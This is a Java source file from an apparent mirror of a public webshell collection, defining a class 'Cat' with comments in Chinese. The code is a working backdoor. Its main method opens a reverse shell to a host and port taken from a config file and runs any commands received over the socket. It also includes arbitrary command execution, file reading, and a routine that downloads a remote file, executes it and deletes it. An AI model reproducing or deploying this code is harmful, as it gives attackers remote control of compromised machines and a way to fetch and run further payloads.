mirror of
https://github.com/tennc/webshell
synced 2024-11-26 13:10:17 +00:00
189 lines
4.8 KiB
Java
189 lines
4.8 KiB
Java
import java.io.ByteArrayOutputStream;
|
||
import java.io.File;
|
||
import java.io.FileInputStream;
|
||
import java.io.FileOutputStream;
|
||
import java.io.IOException;
|
||
import java.io.InputStream;
|
||
import java.io.OutputStream;
|
||
import java.io.PrintWriter;
|
||
import java.io.StringWriter;
|
||
import java.lang.reflect.Method;
|
||
import java.net.MalformedURLException;
|
||
import java.net.Socket;
|
||
import java.net.URL;
|
||
import java.net.UnknownHostException;
|
||
import java.util.Properties;
|
||
import java.util.regex.Pattern;
|
||
|
||
public class Cat {
|
||
|
||
static String encoding = "UTF-8";
|
||
|
||
static{
|
||
encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
|
||
}
|
||
|
||
/**
|
||
* 获取配置文件
|
||
* @return
|
||
* @throws IOException
|
||
*/
|
||
public static Properties getProperties() throws IOException {
|
||
Properties p = new Properties();
|
||
p.load(Cat.class.getClass().getResourceAsStream("/config.properties"));
|
||
return p;
|
||
}
|
||
|
||
/**
|
||
* 异常转换成字符串,获取详细异常信息
|
||
* @param e
|
||
* @return
|
||
*/
|
||
public static String exceptionToString(Exception e) {
|
||
StringWriter sw = new StringWriter();
|
||
e.printStackTrace(new PrintWriter(sw, true));
|
||
return sw.toString();
|
||
}
|
||
|
||
/**
|
||
* 获取系统文件编码
|
||
* @return
|
||
*/
|
||
public static String getSystemEncoding(){
|
||
return System.getProperty("sun.jnu.encoding");
|
||
}
|
||
|
||
/**
|
||
* 非空判断
|
||
*
|
||
* @param obj
|
||
* @return
|
||
*/
|
||
public static boolean isNotEmpty(Object obj) {
|
||
if (obj == null) {
|
||
return false;
|
||
}
|
||
return !"".equals(String.valueOf(obj).trim());
|
||
}
|
||
|
||
/**
|
||
* 输入流转二进制数组输出流
|
||
* @param in
|
||
* @return
|
||
* @throws IOException
|
||
*/
|
||
public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
|
||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||
byte[] b = new byte[1024];
|
||
int a = 0;
|
||
while((a = in.read(b))!=-1){
|
||
baos.write(b,0,a);
|
||
}
|
||
return baos;
|
||
}
|
||
|
||
/**
|
||
* 复制流到文件,如果文件存在默认会覆盖
|
||
* @param in
|
||
* @param path
|
||
* @throws IOException
|
||
*/
|
||
public static void copyInputStreamToFile(InputStream in,String path) throws IOException{
|
||
FileOutputStream fos = new FileOutputStream(path);
|
||
fos.write(inutStreamToOutputStream(in).toByteArray());
|
||
fos.flush();
|
||
fos.close();
|
||
}
|
||
|
||
/**
|
||
* 模仿Linux下的cat Windows下的type 查看文件内容
|
||
* @param path
|
||
* @return
|
||
* @throws IOException
|
||
*/
|
||
public static String cat(String path) throws IOException {
|
||
return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
|
||
}
|
||
|
||
/**
|
||
* 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令
|
||
* @param cmd
|
||
* @return
|
||
*/
|
||
public static String exec(String cmd) {
|
||
try {
|
||
return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
|
||
} catch (IOException e) {
|
||
return exceptionToString(e);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 下载文件到指定目录,保存的文件名必须指定
|
||
* @param url
|
||
* @param path
|
||
* @throws MalformedURLException
|
||
* @throws IOException
|
||
*/
|
||
public static void download(String url,String path) throws MalformedURLException, IOException{
|
||
copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
|
||
}
|
||
|
||
/**
|
||
* 连接远程端口,提供本地命令执行入口
|
||
* @param host
|
||
* @param port
|
||
* @throws UnknownHostException
|
||
* @throws IOException
|
||
*/
|
||
public static void shell(String host,int port) throws UnknownHostException, IOException{
|
||
Socket s = new Socket(host,port);
|
||
OutputStream out = s.getOutputStream();
|
||
InputStream in = s.getInputStream();
|
||
out.write(("User:\t"+exec("whoami")).getBytes());
|
||
int a = 0;
|
||
byte[] b = new byte[4096];
|
||
while((a=in.read(b))!=-1){
|
||
out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 下载远程文件并执行,命令执行完成后会删除下载的文件
|
||
* @param url
|
||
* @param fileName
|
||
* @param cmd
|
||
* @return
|
||
* @throws MalformedURLException
|
||
* @throws IOException
|
||
*/
|
||
public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
|
||
String tmpDir = System.getProperty("java.io.tmpdir");
|
||
File tmpFile = new File(tmpDir,fileName);
|
||
download(url, tmpFile.toString());
|
||
String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator));
|
||
tmpFile.delete();
|
||
return out;
|
||
}
|
||
|
||
public static Method getMethod(String method){
|
||
Method[] methods = Cat.class.getDeclaredMethods();
|
||
for (int i = 0; i < methods.length; i++) {
|
||
Method m = methods[i];
|
||
if(method.equals(m.getName())){
|
||
return m;
|
||
}
|
||
}
|
||
return null;
|
||
}
|
||
|
||
public static void main(String[] args) {
|
||
try {
|
||
Properties p = getProperties();
|
||
shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port")));
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
|
||
}
|